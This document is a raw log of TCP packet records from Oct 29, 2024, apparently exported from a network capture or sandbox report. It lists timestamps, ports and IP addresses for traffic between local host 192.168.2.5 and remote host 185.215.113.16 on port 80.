Oct 29, 2024 04:52:57.387994051 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.423886061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.423959017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.423995972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424030066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424031019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424067974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424094915 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424102068 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424138069 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424159050 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424191952 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424226999 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424242020 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424264908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424299955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424315929 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424351931 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424386978 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424398899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424422026 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424457073 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424475908 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424491882 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424525976 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424549103 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424581051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424618006 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424632072 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424648046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424680948 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424694061 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424715996 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424748898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424762964 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424782038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424814939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424823999 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424850941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424885035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424897909 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.424921036 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.424968958 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.425040960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425071001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425105095 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425117970 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.425142050 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425174952 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425189972 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.425209045 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425241947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425266981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.425285101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425335884 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.425369978 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425399065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425431967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425445080 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.425467968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.425513983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.458621025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458674908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458709955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458734989 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.458744049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458777905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458787918 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.458863974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458899021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.458913088 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.458966017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459005117 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459016085 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459039927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459089041 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459120035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459151983 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459194899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459203005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459237099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459273100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459290028 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459307909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459357023 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459554911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459589958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459624052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459635973 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459656954 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459691048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459703922 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459724903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459760904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459772110 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459805965 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459839106 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459851027 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459920883 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.459966898 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.459971905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460005999 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460038900 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460052967 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460072994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460107088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460118055 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460366964 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460401058 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460418940 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460433960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460473061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460480928 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460506916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460541010 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460555077 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460573912 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460608006 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460623026 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460640907 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460675955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460686922 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460812092 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460846901 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460867882 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460880995 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460913897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460922003 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.460947990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460982084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.460994959 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461117029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461149931 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461165905 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461183071 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461216927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461236954 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461252928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461297035 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461304903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461482048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461513996 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461527109 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461548090 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461580038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461591959 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461621046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461656094 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461671114 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461689949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461723089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461733103 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461757898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461795092 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.461802006 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.461990118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462019920 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462040901 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462053061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462086916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462100029 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462120056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462152958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462173939 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462187052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462222099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462234020 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462255955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462291002 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462318897 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462573051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462605953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462634087 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462640047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462676048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462692022 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462709904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462743044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462760925 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462775946 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462809086 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462821960 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462842941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462872028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462893963 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462915897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462949038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.462970018 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.462982893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.463016987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.463037968 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.463049889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.463083982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.463103056 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.463118076 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.463151932 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.463171005 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.471833944 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.540955067 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541014910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541052103 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541064978 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541104078 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541137934 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541152000 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541174889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541249990 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541258097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541311026 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541343927 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541395903 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541466951 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541501045 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541527033 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541534901 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541570902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541588068 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541731119 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541763067 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541781902 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541798115 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541831970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541862965 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541879892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541914940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541937113 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.541958094 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.541991949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542017937 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542023897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542085886 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542161942 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542196989 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542232037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542258024 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542267084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542303085 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542315006 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542423010 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542455912 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542469978 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542489052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542522907 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542555094 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542557955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542599916 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542779922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542813063 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542845964 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542862892 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542875051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542907953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542922020 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.542943001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542975903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.542990923 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.543010950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.543052912 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.548710108 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.575977087 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576034069 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576067924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576082945 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576141119 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576174974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576199055 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576256990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576291084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576303005 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576325893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576359034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576373100 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576392889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576437950 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576514959 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576549053 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576582909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576596022 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576646090 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576679945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576694965 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576714993 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576766968 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576780081 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576860905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576894999 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576916933 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576930046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.576977968 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.576977968 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577007055 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577055931 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577152967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577187061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577219963 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577230930 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577255011 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577290058 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577313900 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577325106 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577393055 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577517986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577552080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577584982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577595949 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577620029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577653885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577678919 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577687025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577723026 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577732086 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577752113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577812910 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.577899933 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577934027 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577966928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.577979088 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578001022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578033924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578054905 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578068972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578114033 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578149080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578181982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578216076 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578233004 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578248978 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578284025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578301907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578536987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578569889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578592062 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578603983 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578641891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578655005 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578676939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578711033 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578725100 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.578744888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.578778028 CET	80	49917	185.215.113.16	192.168.2.5
